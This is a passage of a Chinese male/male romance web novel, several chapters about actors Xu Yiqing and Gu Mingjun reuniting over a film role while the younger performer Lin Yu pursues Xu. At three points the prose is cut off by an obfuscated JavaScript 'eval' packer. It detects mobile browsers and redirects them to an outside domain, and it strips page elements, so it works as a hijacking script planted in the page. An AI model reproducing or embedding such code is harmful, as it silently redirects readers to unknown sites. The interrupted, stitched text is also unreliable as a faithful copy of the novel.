他用挑剔的目光看向侧坐的男人,不得不承认能拿到“五奖大满贯”的男人的确不是泛泛之辈: 在包厢略显昏暗、闪烁不定的光影里,侧脸的轮廓仍然清俊非常,身姿仪态也相当好,面对导演组的包围显得气度雍容,肩背松弛地半靠在沙发上,游刃有余地与众人攀谈寒暄。 而被硬拉着坐在一块的许亦清明显拘谨许多。 林钰的目光止不住在两人身上流连,“哥,你知不知道他俩……为啥分手?” 即使在网络上聊了几年,他也屡次旁敲侧击,但许亦清性格内敛,没有透露过分手原因,更没有说过前任半句不是。 “嘿,这事你问别人未必清楚,问我嘛,还真知道一点。”蔡顺卖了个关子,他在圈里混了十年有余,各路八卦装了一肚子。 林钰“噌”地站起身,窜到吧台倒了两杯威士忌,姿态恭谨地递一杯到他手里,一双狐狸眼亮晶晶地攫着他:“哥,细说细说。” 蔡顺也不藏着掖着,就着乐声的遮掩,小声凑到他耳边嘀咕:“他俩不都是江省来的吗?听说大学就是一对,才进圈子那阵,好得跟什么似的,我那时负责几个剧的选角,两人都是一块来试戏的。” “后来,许亦清先出头。许老师那张脸……啧啧,不怪你们小年轻犯迷糊,确实长得顶,而且他是标准的镜头脸,现实里打十分,屏幕上能打到十二分。倒是顾明钧……” 蔡顺瞄一眼气势非凡的顾影帝,“……可不是如今这样子,脾气爆得很,听说还跟新悦那副导打架来着,对方放话要封杀他。后来要不是攀上翎空,估计也没今天的‘五奖影帝’……” 林钰不耐烦听顾明钧的奋斗史,皱眉道:“那他俩到底为啥分?” “人顾明钧不是低迷了两年吗?听说……我只是听说啊,许老师就有些看不上了,后来又说为了上戏许老师跟新悦那个周总……你忘了,许老师走红那部《霓虹》就是新悦投资的……” 蔡顺是人精,瞄见林钰黑成锅底的脸色,及时收声,“圈里这些事都说不准,听风就是雨的。《霸爱》这两部我跟许老师打交道……不像这种人。后来他不是还被网暴嘛?要真有靠山也不至于。” 他凑近林钰耳廓,低声道:“而且我刚听顾老师那口气,好像有个什么项目想跟许老师合作。人家现在炙手可热,明摆着是想提携许老师,真要有这茬记恨还来不及哩……” 林钰再也按捺不住,端杯站起身:“不是要拍视频吗?走!” 他从不是退缩的性格,越有人争抢越来劲,挺了挺脊背,挂上一副得体笑容,端着那杯威士忌,走到人群中去,举止优雅地先跟顾明钧碰杯,又给施导和副导演敬酒,蔡顺抓着手机在一旁“咔嚓”个不停。 末了,他抓起一只话筒递给许亦清:“亦哥,咱俩唱一个?” 明明是早就商量好的,他说得像是临时起意。 许亦清放下手中酒杯,配合地跟他走到台前。 原本围着唱K的那一堆立刻让出中心的位置,旁边玩桌游的几个也走过来,又是拍掌又是倒酒的烘托气氛。 林钰一把烟嗓一开口就博得众人掌声:“我站在屋顶,黄昏的光影,我听见爱情光临的声音……” 他那双眼睛本就亮堂,此刻更是含情脉脉地看向许亦清,一字一句唱得缠绵悱恻:“……你不要放弃行不行……” 选秀成团C位出道的,歌舞具备专业水准,但也没有把另一位碾压下去。 许亦清的声音清冽干净,演绎这种舒缓的情歌十分具有感染力,但林钰却能明显感觉到他的心不在焉。 他在回避他目光的勾缠,总是不经意地瞥向人群后方——那里端坐着顾明钧。 林钰在话筒背后气得咬牙。 一首歌唱完,节奏还没完全停歇,顾明钧站起身,随意地拍了拍巴掌,“很多年没有听亦清唱歌了。” “很多年”三个字对后来者向来具备杀伤力。 林钰面色沉了沉,接过许亦清手里的话筒,顺势攀着他胳膊,在三个人聚拢来的小圈子里,用倾慕的口吻,低声笑道:“亦哥不光歌唱得好,厨艺也是一流的……” 许亦清:“……” 顾明钧转头盯一眼许亦清,嘴角向下沉了沉:“亦清,聂导在我那个包厢,刚说那事我们一块聊聊。” 他转身跟施导几个打招呼,“我那边还有一班朋友,失陪了。” 十分自然地伸手攥住许亦清另一只胳膊。 林钰当然不肯松开,两人的目光交汇,空气中似乎涌起一阵“劈里啪啦”的电流声。 刹那间的怔忪,许亦清几乎是条件反射般甩开了林钰的掣肘,低头跟着顾明钧走出了包厢。 胳膊上传来铁钳般的触感,许亦清被拖着在长廊里疾行,这一幕实在太熟悉,让他忘了要反抗。 许多年前,也是这样,顾明钧攥着他的胳膊,将他拖进A大的小树林,一把将他按在树上:“亦清,你为什么躲着我……” 后来到了金城,好几次的饭局、酒会,他都是这样匆匆而来,冷着脸、一言不发拖起他就走。 他在圈子里坏脾气的名声由此而起。 攥着他胳膊的手指仍然修长有力,隔着衣服也抓得人生疼。 许亦清喃喃道:“明钧……” 听到这声低唤,顾明钧蓦地停下脚步,深吸口气,转头用谴责的目光看着他,严厉而低声道:“你昏头了是不是?跟那种货色搅和在一起!还做饭给他吃?许亦清你……” 过往的时光又一次穿梭而来—— “你要气死我是不是?!那种饭局是能去的?别告诉我你不知道人家打的什么主意!你不是三岁小孩了许亦清!” “朋友?这圈子里有什么朋友?谁不是当面一套、背后一刀!回头着了他们的道别怪我没提醒你!” 许亦清抬起那双秋水般的眼睛,怔怔看着眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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典型的双男主影片,且题材敏感,尽管背景设定在国外,走国内院线基本不太可能,都是奔着冲国际奖项去的,这类影片选角大导都会摒弃流量,“适配度优先”。 “明钧向我推荐你出演莫岚这个角色,我还道他徇私。”都是圈里人,又跟顾明钧合作多年,对两人之前的关系多半是心里有数的。 许亦清低头,脸上泛起一层赧然。 聂东平示意他喝茶,锐利的目光一直停留在他脸上、身上,“今日见到你本人,倒觉得形象上确实比较贴合。莫岚这个角色,设定是假扮聋哑人,只有几句台词,主要靠眼神来演绎情绪,饰演者必须有一双漂亮且会说话的眼睛。这点你十分符合。” 他的目光探测器一般打量着并肩坐在沙发上的顾明钧和许亦清,“而且你们俩同框……张力也很好,你要是有兴趣,回头班子立起来,再试两场。今天刚好遇到,就先请你过来聊聊,看看你本人的意愿和档期,我们也好跟星潮接洽。” 聂导话说得很客气,但是作为演员,尤其是之前没有上过大荧幕的演员,能出演他的作品无异于天上掉馅饼。 许亦清握着剧本的手指微微颤抖,脸上涌现出惊喜的神色,“如果能有机会跟聂导学习,是我的荣幸。” “那行,回头资方法务先发函,你现在全约都签在星潮吧?” “是。” 作为演员自然愿意出演大导的“冲奖片”,但经纪公司肯定要先算“性价比”: 以许亦清的咖位如果能出演无异于“履历镀金”,薪酬定价并不会太高,而且还要锁定档期。刚把人捧红,正是接综艺、接代言回血的好时候。如果要出国取景,一锁几个月,对经纪公司来说并不是一笔划算买卖。 顾明钧在一旁出声:“赵总跟他们卢总关系向来不错,应该没什么问题。” 安青跟着笑道:“要搬动赵总亲自出马,那还得你去说,这几年也就你的事能让他出面应酬了。” 几人谈笑着,似乎这件事情已经板上钉钉。 许亦清直到走出包厢,还觉得脑袋有些眩晕。 即使《霸爱》让他翻红、有了流量,但也只能算二、三线电视剧演员,能一跃去演大导演的冲奖片? 而且光看剧情简介就知道这项目体量肯定小不了,必然涉及到平台和资方,就算是聂导——能有这么大话语权吗? 大投资、大制作往往需要“安全垫”,对演员的要求非常高——自带稳定受众、集均过亿、有出圈的角色……是最起码的。 顾明钧送他出来,看他怔愣的神色,蹙眉道:“亦清,你在担心什么?” 面对他的问询,许亦清习惯性地脱口而出:“我在想这个角色,除了形象……其它方面,我恐怕不太符合要求……” “亦清,你还忽略了一个因素。” 许亦清讶异地抬眉。 顾明钧竖起一根手指,指了指自己,勾起嘴角:“时间还早,上我那去坐坐?我们——也该叙叙旧了。” 13. 第 13 章 许亦清回包厢打招呼的时候没看到林钰,大大松了口气。蔡顺睃一眼洗手间,笑道:“林钰刚还在念叨说你酒量不好,怕你被他们灌醉哩……等他出来?” 许亦清摇头:“蔡哥帮我说一声吧。”顾明钧的车在“三缺一”后门等,还特意派了个助理在包厢门口接应他。 这地界是娱乐圈人士的聚集地,扎堆的狗仔多,不过“三缺一”也有应对的经验,特设了一条圈里人出入的通道。 许亦清心里像漾着一团火,坐上那辆阿尔法的后座才稍稍平缓了呼吸。即将到来的机遇和顾明钧的态度让他难免兴奋,没有留意到急匆匆追出来的身影。 顾明钧却是一眼瞥见了,轻叩司机椅背,阿尔法立刻提速,像离弦的箭一般驶入了浓黑的夜色。 “亦清,你手上这部定档了吗?宣发签了几次?”顾明钧低声开口。 “定了,签了七次。”许亦清在他问询的目光下进一步解说,“首映见面会一场、直播一场,因为是周更剧周末可能安排综艺和扫楼大概四五次,收官如果数据好可能会安排一场粉丝见面会。” 顾明钧皱眉:“两个月就耗没了,聂导那边等不起。这片子取景都在泰兰德,年底过去没那么热,好赶工期。”他顿了顿,像是安抚般,“没事,回头让庆虞跟你们卢总谈吧,反正剧拍完了,少跑一两站不是什么大事。再说我这边还得飞一趟都柏林,虽然拿奖希望不大也得去走个过场……” 他是在说即将送展奥伯龙电影节的《暗夜微光》,许亦清随口问了句:“为什么?这片在国内反响这么好……” 事实上,他的思绪停留在“庆虞”两个字上,他知道翎空的赵总全名是赵庆虞,而顾明钧唤这两个字时的熟稔让人无法忽视。 “你看了么?”顾明钧倾身向他靠过来。 许亦清怔了一下,并未像躲避旁人的触碰一般向后退,这是深刻在骨子里的记忆。顾明钧有强势而霸道的一面,刚在一起的时候,他执拗地按着他肩膀,“不许躲我亦清!如果你真的信任、喜欢一个人,你是不会躲开他的……呐呐呐,像这样——”他钳着他的下巴,温柔地吻上他的唇…… 片刻地失神之后,许亦清微微垂下头,“什么?” 顾明钧嘴角勾起一抹得意的笑容,充满磁性的声音越发低沉:“我说《暗夜微光》,你看了么?” “嗯。”许亦清点头,“挺好的,你的演技越发精进了。”尽管去电影院捧场会有诸多不便,但他总在伪装之后选择午夜场,去看他上线的新片。 “有个镜头……是在长正街取景的,转角那家包子店眼熟么?金城这几年发展快,也就那片还保留着一些老建筑了。”顾明钧的目光掠过那截低垂的脖颈,轻叹了口气,“那条拍完,我点了五个大肉包……却不是从前那个味了。” 旧时光并不止镌刻在许亦清的记忆里。 顺着长正街的小巷道拐进老旧的居民楼,夕阳映照在阳台眺望的身影上。 顾明钧拍完夜戏总要睡到黄昏才起床,简陋的屋子里空荡荡的,许亦清的手机丢在小圆桌上。 他踱步到阳台,随手点燃一根烟,张望着巷道的尽头。 牵挂的人总是两手都提着塑料袋子,缓步出现在光影里。等他走近些,他在阳台大喊一声:“亦清!” 那张白净的面庞就会抬起来,眉眼弯弯地看着他,抬起一只手,“醒了?饿不饿?我给你买了肉包子先垫垫……今天的鱼挺新鲜,不过特价老板不给处理得自己杀……” 他“砰砰砰”地跑下楼去,接过他手里的塑料袋,肩碰着肩、嬉笑打闹着爬上四楼。蔬菜扔一地,鱼也在门口蹦跶,沙发上是抱着啃着滚在一起的两个人…… 路灯投过车窗,车身轻晃,顾明钧睨一眼侧坐的身影。 他有许久没有离这个人这样近了,清淡的气息不管用哪个牌子的香水都盖不住。他轻轻地、深深地吸了一口。这味道曾是他的氧气、源泉、充电宝,不管在外头多累、多狼狈,只要躺在这个人的膝上,让他修长的手指一遍遍梳理他的头发,身躯就彷佛一点点被修复、精气神都在回笼。 在一起七年,许亦清爱他,这点毫无疑问。 顾明钧试探地伸出手,轻轻攥住他左手的手腕,许亦清挣了挣,意识到他在解开他手上的腕表,便停止了挣扎。修长的手指将表带解开,略带粗粝的指腹摩挲着手腕内侧那块陈旧的疤痕,那是他刚学着做饭的时候烫伤的,高明的厨艺背后是经验的积累。 温软的肌肤相触,像按了某个隐秘的开关,心跳同时漏了半拍。 他们之间的账目向来简单:许亦清毫无保留地给,顾明钧倾家荡产地还。 领到片酬、搬离地下室,攒钱买的第一件礼物是送给他的。路易威登的皮带、明晃晃的大logo,他们这个圈子爱好奢侈品的多,他见过他看着别人一身名牌一脸艳羡的样子,当时满心不是滋味,既恼他爱慕虚荣,又恨自己不能满足他的物欲。 他的目光掠过他的腰间,一条菲拉格慕精致、低调的环在那。品位提升了,不再是为了一条大logo激动不已、抱着他连连亲吻的人了。不变的……只有那把细腰,仍旧不盈一握。 曾经为了环上那抹细腰的咸猪手,他操起凳子砸破了对方的脑袋。 不是没有想过后果,可那一刻,他只想让全世界知道,许亦清是他的,谁也不能觊觎。 盯着那抹纤腰,顾明钧的手指动了动,害痒似地缩了缩。 许亦清侧过头,与他对视一眼,眼神里带着点疑惑和探究,然后有些不自在地偏头看向窗外。 顾明钧并没有意识到自己的目光灼热如火,反倒有些奇怪:为什么这么多年过去,这人竟还像大学那会儿容易害羞?眼神纯澈如初,就好像——当初为了上戏,爬床投资方的人不是他一样。 车窗外霓虹闪烁,落在许亦清侧脸。三十三岁,轮廓依旧清俊,线条冷冽,却掺了岁月打磨后的温润。顾明钧眯起眼,不得不承认:不管是二十一岁还是三十三岁的许亦清,都十分勾人。他的身上糅杂了一种矛盾的气质,既清冷如水又热情似火。骨子里带着倔强,心性里又保有一份天真。 天真到供认不讳还满眼期待地看着他:“明钧,我错了。你……能不能原谅我一次?” 顾明钧勾起嘴角,鼻子里发出一声只有他自己能听见的冷哼,原谅?他永远也不会原谅。 车子滑入地库,助理跳下车拉开车门,将风衣披到他肩上。 “你俩先下班吧。”顾明钧低声吩咐,司机和助理对视一眼,应了声“是”。 “亦清,跟我来。”他抬步,又回头道,“放心,这里绝对安全。” 许亦清略一踌躇,跟在他身后,两人一前一后进了地库的电梯。几秒钟后,“叮”——对面厢门打开,一股暖流裹着檀香先涌了出来。 近百平的横厅,新中式和日式侘寂风格融合,看不出木料的雕花隔扇将其一分为二。音响系统大概隐藏在踢脚线里,轻柔的乐声环绕,缓解了几分尴尬。 顾明钧替他解开外套,指尖蹭过衣领:“热不热?”又抬手一扫,“看看这装修,是不是你喜欢的风格?我跟设计师沟通了很久,还特意找出那本杂志上的图片给他看。” 一句话就把旧时光拽回来—— 逼仄的出租房里,两人挤在简易木床上,杂志摊在中间、压在身下。“等咱有钱了买了大房子,”顾明钧手指点着照片,“就照这样装,弄上一整面落地窗,冬天晒太阳,夏天躺床上看雨……” 如今照片里的房子落进现实,他带了点骄傲地旋身,示意他在琴叶榕和散尾葵簇拥的真皮沙发上落座,转身进了黑胡桃木栅格门。窸窣布料摩擦声从里间传出,显然是在换衣服,和纸面板上映照出一抹高大的侧影。 许亦清慌忙别开眼,目光在客厅里游走。槅扇后头放着一张高脚供案,上面摆着一系列奖杯,金色的底座熠熠生辉。倏地,他瞳孔收紧——在杯座与墙面的间隙里有个水晶圆球。 他忍不住站起身:没有错,是那个雪景水晶球,拧动底部的发条,球体里就会扬起纷纷的雪沫。许多年前,东瀛有一部动漫风靡全球,屠龙少年要去探索世界,送给青梅竹马的恋人一个水晶球,“るき,这是一个魔法水晶球,你看它一直在下雪,就像我一直陪着你……” 来金城以前,许亦清没有离开过江省,江省地处华国南部,几乎没有下过雪,圣诞节收到的这份礼物让他惊喜万分,一路从江省带到金城。 可分手那次大吵,他记得顾明钧将它砸碎了……他甩门离去,他坐在满地的玻璃碎渣里发呆…… 一只宽大的手掌将那只水晶球托起,顾明钧低头凝视片刻,缓步走过来,“这是我后来买的,有部片子在东瀛取景,助理说停产了,我请托了几个朋友,才在一个中古店买到……亦清,”他自嘲般笑了笑,“你大概不知道,这么个小玩意儿,当年花了我大半个月的工资……” 他说的是被砸碎的那一个。 那时顾明钧在酒吧驻唱,工资按客人点歌的次数提成,他天生傲气,尽管唱得不错,但既不会陪酒也不会来事,收入并不算高。 “为什么?”许亦清颤声问道,他问得没头没脑,顾明钧却是听懂了。为什么亲手砸碎的东西,你又要去买回来呢? 他将水晶球放回案几上,静默了片刻才低声道:“因为舍不得。” “有些东西要等到失去,才知道它有多么珍贵。”他回过身,长臂一伸,很自然地将许亦清搂进怀里,头埋在他肩上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许亦清却后退了一步,抬起头直视他:“你的意思……是要和好吗?” “和好?也可以这么理解。”顾明钧没有预料到他的直接,摸了摸鼻子,有些讪讪道,“但是你也知道我们这一行,有些事只能我们自己心里清楚……” 他拉着许亦清的胳膊在沙发上坐下,“听我说亦清,今天你见了聂导,也看了剧本大纲,应该知道这是一次极好的机会……” “所以?”许亦清的面色有些发白,眼眸却愈发晶亮,“你找我……是为了更好的演绎好这个角色?” 顾明钧没有否认。 许亦清垂头笑了笑,声音有些发虚:“我一直知道你敬业,没想到能敬业到这个程度。” 顾明钧看了一眼手机,似乎明白了许亦清态度变化的原因。 他叹了口气,“亦清,有些事情不需要说得太清楚吧?你能不能出演这个片子,庆虞这边是要出大力气的,不光是你的档期问题,前期的注资、后期的排片都得谈。咱俩都在这个圈子里,你比我更早看清、看透彻,”他咬了咬唇,到底没有忍住,“这一课——其实是你教我的,不是吗?” 最后一句落地,许亦清脸上最后一丝血色也褪尽了。他扶着茶几,摇晃着站起来:“我得走了。” 顾明钧又急又恼,一把攥住他手腕,“何必这样亦清?当初一部小成本网剧都能让你……我难道比周擎差?” “周擎”两个字一出,许亦清瞳孔猛地收紧,面孔在刹那间变得煞白,像是一阵狂风吹过,将那丝微弱的火苗彻底地熄灭。 他一把格开顾明钧的胳膊,像见鬼一般瞪着他。半晌,他只哑声重复:“我得走了。”这就是许亦清,绝大多数时候他是温和的,可一旦真的生气,一个字也不会说,能一个人枯坐到天亮。 顾明钧看着他垮下的双肩,颤抖的背影,有种扑上去抱住他的冲动。可指节攥得泛白,终究没伸手。 这部电影翎空是主投资,赵庆虞不止会探班,更有可能全程监制,他跟赵庆虞的关系无法隐瞒,他也不屑于欺骗。心底涌起一股酸涩,又升腾起一阵快意。我曾经尝过的滋味,如今你大概也知道了? 许亦清迈出这个郊区别墅群的大门,冷风一吹,才发现自己走得匆忙连外套都没有拿。大概已是半夜时分,夜空缀着几颗星子,他驻足凝望,仰头深呼吸,胸腔里全是冰碴子。 “嘀——”路边一辆宝马GT降下半扇车窗,紧接着一个身影窜出车厢,一件羽绒服从天而降,将他裹得严严实实。 “顾影帝住哪我还是打听得到的,你今晚上要是不出来,我可再也不缠着你了。”林钰在他耳朵边上嘟囔,声音里透着委屈,却是兴奋地一把将他抱紧。 14. 第 14 章 林钰从洗手间出来,就听蔡顺说许亦清来打了个招呼要提前走。蔡顺还凑他耳朵边上提点:“……梁声,就顾明钧那助理,在门口等。” 他火急火燎追出去,人已经上了车,那辆阿尔法轰足油门跑远了。他立马回包厢,先找借口跟施导请了假,又将蔡顺逮到墙角,软硬兼施地逼着他打听到顾明钧新搬的住址,连酒驾也顾不上,开着车就追了过去。 到了大门口却进不去,这地界安防十分严密,没有业主首肯,保安死活不肯放行。林钰那张脸也没到人尽皆知的地步,至少两小保安就不认识他,撒烟套近乎也不管用,扬着手赶人:“咱们这住的可不是一般的明星,随便放人进去要掉饭碗的。不是我说,哥们你长这么帅也来当私生?实在想见,门口蹲着吧,都得打这张门出,不过能不能见着就看运气了……” 林钰只能坐车里等,他固执地不肯走,一定要找许亦清要句准话。他不信他非得回头啃那坨老梆菜,他哪都不比顾明钧差,除了名气略有不如,那也是暂时的。等他长到顾明钧这岁数,只有比他更火的,等着瞧吧! 不过许亦清……好像挺念旧的?这几年他陪他网聊、打游戏,可太清楚他的感情状况了。分手五年都没发展另一段感情,说明什么?说明他还忘不了前任。 回想在包厢里,他甩开他的手跟着顾明钧走,林钰忍不住按住胸口,麻辣火烧的滋味在胸腔里翻腾,令他既感新奇又惊骇莫名:不行!他一定要找许亦清问个清楚,到底是要吃回头草还是要跟他好? 他站在许亦清角度设想了一下,对答案不十分有信心,不是觉得自己不够好,而是老梆菜太狡猾!竟然打着合作拍戏的幌子来勾搭! 网聊这几年,“黑猫警长”聊感情事聊得少,说起梦想却是滔滔不绝,虽然不会涉及具体参演的剧集,但林钰隐在暗处自然清楚他心路变化的历程。 当初下海演腐剧算是许亦清破釜沉舟背水一战:“……最近有新工作……是我原本比较抗拒的类型,但是没办法……不演的话我大概就没戏可拍了。其实也没什么,专业的演员不该挑角色……” 他对这个聊了几年从未谋面的网友毫不设防,除了不说具体参演的项目,心里的想法倒是毫无保留。 林钰很快便知道他参演了双男主剧,虽然只是副CP,但也有两场亲密戏份,看着他在荧幕上跟别人谈情说爱、拥抱亲吻,心里藏着的那点念想跟火烧茅草似地蹿得老高。 尤其之后许亦清合约到期,签了星潮要出演《霸爱》,一向对演戏没什么兴趣的林钰立马跑去试镜,却不出所料的落选了。 等剧集播出,每晚守在电视机前看他跟侯超搭戏,心里那个别扭就别提了。人家是演员,出演哪个角色都轮不到他置喙。可如今再搭上顾明钧这事,林钰彻底悟了—— 不管从事什么职业,并不在于我想干什么就能干什么,而是我不想干什么就能不干什么! 假如他林钰手上有的是资源、人脉,能拿到一摞背后有投资的本子,那他就不必担心顾明钧拿片约回头钓许亦清。管你什么国际知名大导、什么好剧本,咱不约,咱有的是选择。 向来有些吊儿郎当的青年握着下巴、皱着眉头、蜷缩在车厢里,头一回认真思索起实力这事来。 等许亦清的身影真的出现在大门口,林钰一下子没反应过来,愣愣看着他站在初冬的寒风中,仰起的面庞过于苍白,令脸上落寞的神色即使在星光黯淡的深夜也一览无余。 那一瞬间,林钰被一抹电流击中。他很清楚自己想要这个人,但在这之前从未想过要到之后要怎么办,此刻脑海里鬼使神差地浮现出八个大字:“若得阿娇,金屋贮之。” 他拿起副驾驶的羽绒服,推开车门奔向他的“阿娇”,小心翼翼圈进怀里、拖回车上。 许亦清显然没有料到他会从天而降,呆怔地看着他,半晌才低声道:“你怎么在这里?” 林钰不答话,发车就走,他精得很,许亦清外套都没拿,万一顾明钧反应过来、追出来,这事还得拉扯。他一脚油门,就往许亦清的公寓开。 凌晨两点的街道上,只有汽车的轰鸣声,半路,许亦清的手机果然响起,他低头看了一眼,直接摁掉了。那边不肯罢休,继续打,林钰腾出一只手来,直接给它关机了。 按他俩现在的关系来说,林钰这个举动有些过界了,但许亦清此刻心里一片灰败,也顾不上计较。 他像被短暂地抽离了魂魄,惨白着一张脸,木然地看着车窗前方,模糊幻化的街景向后退去,藏在心底深处的回忆却向他奔涌而来:从校园到社会,从懵懂到成熟,跟顾明钧在一起的七年,他花五年也没能彻底地忘掉。 身处的圈子浮华利禄,他其实知道谁也不会站在原地等,可心里总抱着一丝侥幸,怀着微弱的期待…… 车子驶入地库,他还陷在自己的思绪里,直到林钰伸出一只手,有些夸张地喊道:“亦哥你手怎么这么凉?” 许亦清扭头看他一眼,这五年身边也不是没有出现过追求者,大多是圈里人,明示暗示一两回,在他明确拒绝后也就销声匿迹。世界这么大,有趣的人和事这么多,大家的时间都很宝贵,没必要跟谁死磕。只有林钰是个例外。 他推开车门往电梯走,林钰紧跟在他身后,许亦清伸胳膊挡门口:“你跟着我干嘛……” 林钰一脸委屈地凑上来:“亦哥你闻闻,一身酒味闻到没?往郊区走还好,市区万一碰到抓酒驾……”他撅起唇角,“让我在你家沙发上凑合一宿吧,我睡觉既不梦游又不打鼾,可老实了。” 他不信他会老实,但想起他在包厢那会就喝了啤酒,竟然还敢开车去找他,心里漫上一股说不清道不明的滋味,放下胳膊转身进了门。 等他从浴室出来,林钰上身脱得只剩件小背心,下边套着牛仔裤,跟没毕业的男大学生似的,蹲在他客厅那堆健身器材旁,“吭哧吭哧”地举着哑铃,抬头看见他,光着脚蹦过来:“你洗完了?到我了。” 许亦清拉住他,迟疑道:“你……将就一下得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487723|185710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”三更半夜将人领进门,还让他去洗澡,这事怎么看都透着暧昧。他有点后悔一时的心软了。 “那怎么行?我都出汗了。这一身酒味、汗味,躺你那进口沙发上,你不膈应?”林钰弯腰就脱裤子,许亦清忙松手,他得意地吹声口哨,晃着两条大长腿往浴室走。 “哎,你等等。”许亦清喊住他,自从他搬到这里还没来过客人,自然没有准备客拖,只能换了棉拖鞋,将洗澡的凉拖鞋腾给他,又从柜子里翻出毛巾、牙刷。 林钰进了浴室还在那里鬼喊鬼叫:“……嘶……怎么是冷水?亦哥你洗的冷水?这么冷的天也不怕感冒……你这沐浴露哪买的?香味挺特别的……” 不可否认,被他这么插科打诨,许亦清原本淤塞的心绪缓解了不少,他坐在床畔发呆,脑海里闪过“赵庆虞”这个名字和一张戴着金边眼镜的俊脸。 他没跟赵庆虞打过交道,金城排名第一的娱乐公司老板,是他们卢总见了都要叫声“哥”的人物,不管什么场合都轮不到他去攀交情。不过在一个行业庆典上,远远地见过一面:温文尔雅且风度翩翩,的确是顾明钧会喜欢的类型。 这几年顾明钧虽然发展势头很猛,但称得上绯闻绝缘体,在《暗夜微光》这部片子里头跟女主角互动不错,也仅限于戏里,视讯平台上的糖点剪辑基本来自于CP粉们的加工与臆想。 这也是许亦清暗含期待的原因之一,却没有想过越来越好的资源背后是资本的扶持。他一直相信顾明钧的实力,他敏感多思又才华横溢,是天生的演员。来到金城后,两人除了跑龙套,也一块进修过表演课,他总是被老师称赞得最多的那一个。他能将奔涌的情绪以克制的形态徐徐地演绎出来,很能将观众带入戏,也一度引领着许亦清。 他在他的心目中曾经亦师亦友亦爱人,可如今…… 许亦清这一晚上的心情跟坐了十趟过山车似的,空虚与疲惫一齐袭来,令他颓然地倒在枕头间……也不知过了多久,“呼呼”的电流声夹杂着热风将他吵醒,掀开眼皮却立马瞪大了眼睛:一身粉白皮子外加八块腹肌在他眼前晃动。 林钰稍稍直起身,“湿着头发睡觉怎么行?会感冒的。” 许亦清转个身将后脑勺对着他,“没事,你去睡吧。”脑后的热风却不停,他只好伸手去接吹风机:“我自己来。” “别这么见外嘛亦哥,”林钰抬手躲过,他全身上下就裹了块浴巾,一条腿屈膝跪在床上,俯身压下来,狐狸眼里满溢着笑意,“我帮你。”也不等允许,修长的手指便顺着热风伸过来。 合作了一部戏,许亦清对林钰的性格也算了解,典型的越搭理越来劲,他索性转过头、闭上眼,随他吹完头发吹枕头,听他嘀嘀咕咕也不搭腔。 可原本清淡的沐浴露香味覆盖在矫健的躯体上,凭添了一层荷尔蒙气息,那只手在黑发里穿梭,又有意无意地拂过他的耳后、脖颈,将勾引表达得赤裸裸。 许亦清叹了口气睁开眼,就知道这货没他自个说的老实。 15. 第 15 章 许亦清半靠在床头,低头扫了眼自己:棉质睡衣纽扣扣到了最上边一粒,遮得严严实实,半点撩人的意思都没有。他实在搞不懂,林钰那双越来越暗的眼睛到底在烧什么。 可对于一个六年前就对他那张脸一见钟情的人来说,哪怕他只是身姿慵懒地躺在被褥里,也足够让人心猿意马。 尤其这房子是个大通间,卧室与客厅之间半隔断,客厅只开了一圈射灯,卧室床头灯光线昏黄,自带旖旎氛围。 尴尬悄悄爬上来。许亦清抬眼瞄钟——凌晨三点半——立刻挥手赶人:“去去去,沙发上有毯子,赶紧睡,明天还得早起。” 林钰眼巴巴瞅着他:“亦哥你忘了,放两天假哩。”这部戏杀青,公司照例给全员放了两天假,除非个人另有通告。 许亦清愣了一下,他真把这茬忘了,“那也得睡觉。”他丢给林钰一个枕头,暗叹小崽子真是好体力,“三缺一”疯了半晚上,来回开车折腾这么久,半点不见疲累,那神情还想跟谁大战三百回合似的。 “亦哥,你累不累?我给你按摩吧。”林钰接住枕头,试探地伸手,他原本想找他要句准话,现在却想干点实事了。 两人在戏里又亲又抱,私底下举止自然也要随意些。何况他看得出许亦清心情不好,不管情绪亢奋还是低落,sex都是一剂良药。 许亦清看穿他眉眼间的跃跃欲试,伸脚就踢:“滚滚滚!” 林钰一把捉住他脚后跟,但凡在现实生活中少见的美人,往往是造物主的偏宠,全身上下无一处不美。露出的半截小腿光滑笔直,脚型也格外好看,足弓弧度适中,脚趾正位,连指甲盖都圆润饱满。 伸条腿也能勾出个色迷迷的眼神,许亦清真是无语了,缩腿往后撤,“松开!” 林钰当然不肯撒手,灯下看美人,美人羞且嗔!他色欲熏心、精虫上脑,低头就在那脚背上狠嘬了一口,又一口叼住。 这一下远超许亦清的认知,惊得寒毛都竖起来,“林钰!”他呵斥一声,使劲甩开,一个翻身扯被子将全身都裹住,红着脸吼道:“要么打车走人!要么滚沙发上睡觉!” 他第一千次后悔让这货进门,看林钰还想开口,他从被窝里伸出一根手指头,“劳资蜀到三!”一着急,连乡音都带出来了。 “好嘛好嘛!”看他真生气了,林钰不敢再造次,抱着枕头连滚带爬地趴到沙发上。 一阵悉悉索索的响动过后,房间里静默下来,墙角的暖气片发出极轻微的“呼呼”声响,没一会又加了一道,许亦清无语望天:说好的不打鼾呢? 不过声音不大,跟睡熟的小猫似的,两道声音混合在一起,将许亦清缓缓催入了梦乡。 但梦境十分不太平: 昏暗浓黑的夜色,那张淡忘许久的脸出现在床头,带着狰狞的笑意,“到底行,还是不行?许亦清,只要踏出这张门,别他妈回头来求我!” 许亦清攥紧了被褥,不自觉地呓语:“不……不行!走开……” 场景倏然一转。坐在桌后的人脸模糊不清,一双骨节分明的手从抽屉里掏出乌黑冰凉的一团,“乒啷”一声扔在他脚下:“戴上!爬过来!” 